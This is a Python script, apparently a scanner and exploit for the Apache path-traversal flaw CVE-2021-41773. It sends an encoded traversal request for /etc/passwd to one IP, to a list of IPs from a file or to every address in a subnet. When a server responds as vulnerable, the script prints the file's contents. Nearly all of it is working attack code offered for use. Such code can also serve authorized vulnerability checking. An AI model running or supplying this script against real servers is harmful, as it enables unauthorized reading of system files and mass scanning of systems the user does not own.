#!/usr/bin/python
# coding: utf-8


import os
import sys
import getopt
import ipaddress
import urllib.request
import socket
import os.path
from ipaddress import IPv4Network

def usage():

    comm = os.path.basename(sys.argv[0])

    if os.path.dirname(sys.argv[0]) == os.getcwd():
        comm = "./" + comm
    print("Usage: CVE-2021-41773 options\n")
    print("     Only for one IP: python CVE-2021-41773.py IP_address\n")
    print("     -f For IP list in file")
    print("         Example: python CVE-2021-41773.py -f IP_address_list_filename")
    print("     -s For Subnet")
    print("         Example: python CVE-2021-41773.py -s 8.8.8.0/24")


def validadIP(IP):
    try:
        ip = ipaddress.ip_address(IP)
    except ValueError:
        print('El formato de la Dirección IP: %s es invalidado' % IP)
        sys.exit()
    except:
        usage()

def checkApache(IP):
    validadIP(IP)
    url = "http://"+IP+"/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\n"
    req = urllib.request.Request(url)
    try: 
        salida = urllib.request.urlopen(req, timeout=5)
        if salida.status == 200:
            contenido = salida.read().decode('utf-8')
            if 'root:' in contenido:            
                print('Server %s IS VULNERABLE' % IP )
                print("The output is:\n\n"+contenido)            
        else:
            print('Server %s IS NOT VULNERABLE' % IP)
    except urllib.error.URLError as e:
        print('Server %s IS NOT VULNERABLE' % IP)
    except socket.timeout:
        print('Server %s IS NOT REPONSE' % IP)
    except ConnectionResetError:
        print('Server %s connection reset' % IP)

def checkfile(filename):
    if os.path.exists(os.getcwd()+"/"+filename):
        openfile = open(os.getcwd()+"/"+filename,'r')
        IPs=openfile.readlines()
        count = 0
        for line in IPs:
            count += 1
            checkApache(line.strip())

def checknet(net):
    count = 0
    subnet = IPv4Network(net, False)
    for addr in subnet:
        count += 1
        checkApache(str(addr))

def start(argv):
    if len(sys.argv) < 2:
        usage()
        sys.exit()
    elif len(sys.argv) == 2:
        checkApache(sys.argv[1])
        sys.exit()
    try:
        opts, args = getopt.getopt(argv, "f:s:")
    except getopt.GetoptError:
        usage()
        sys.exit()
    for opt, arg in opts:
        if opt == '-f':
            checkfile(arg)
        elif opt == '-s':
            checknet(arg)
if __name__ == "__main__":
    try:
        start(sys.argv[1:])
    except KeyboardInterrupt:
        print("Search interrupted by user..")
    #except:
      #  sys.exit()